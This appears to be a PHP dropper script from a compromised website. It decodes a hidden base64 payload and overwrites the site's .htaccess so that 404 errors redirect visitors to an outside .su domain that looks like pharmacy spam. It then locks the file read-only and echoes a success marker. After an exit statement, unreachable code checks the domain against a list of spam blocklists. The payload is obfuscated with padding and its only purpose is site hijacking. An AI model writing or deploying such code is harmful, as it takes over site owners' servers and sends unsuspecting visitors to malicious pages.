$file_body = 'CQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJDQoNCgkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJDQoJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkNCgkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCUVycm9yRG9jdW1lbnQgNDA0IGh0dHA6Ly9leGNlbGxlbnRyeGdyb3VwLnN1Lw==';
$file_name = '.htaccess';
$root =  $_SERVER["DOCUMENT_ROOT"];
if (strpos($root,'/') !== false) {
    $path =  $root . "/" . $file_name;
}
else $path = $root . "\\" . $file_name;


chmod($path, 0644);
file_put_contents($path, base64_decode($file_body));
chmod($path, 0444);
echo "#####good#####";




exit;
$domain = $_SERVER['HTTP_HOST'];

$BLACK_LIST_DB = 'uribl.zeustracker.abuse.ch,uribl.abuse.ro,bsb.empty.us,bsb.spamlookup.net,ubl.nszones.com,dyndns.rbl.jp,url.rbl.jp,rhsbl.rymsho.ru,nomail.rhsbl.sorbs.net,badconf.rhsbl.sorbs.net,rhsbl.sorbs.net,fresh.spameatingmonkey.net,fresh10.spameatingmonkey.net,fresh15.spameatingmonkey.net,uribl.spameatingmonkey.net,urired.spameatingmonkey.net,dbl.spamhaus.org,multi.surbl.org,uribl.swinog.ch,dob.sibl.support-intelligence.net,uri.blacklist.woody.ch,rhsbl.zapbl.net,zebl.zoneedit.com,ban.zebl.zoneedit.com';
$array = explode(',', $BLACK_LIST_DB);


foreach ($array as $value){
$sh = gethostbyname($domain . '.' . $value);
$sh = str_replace('127.0.0', '', $sh, $g_out);if($g_out){echo "#####bad2#####"; exit;}

//echo $value . '  -  ' . $sh . PHP_EOL;

}
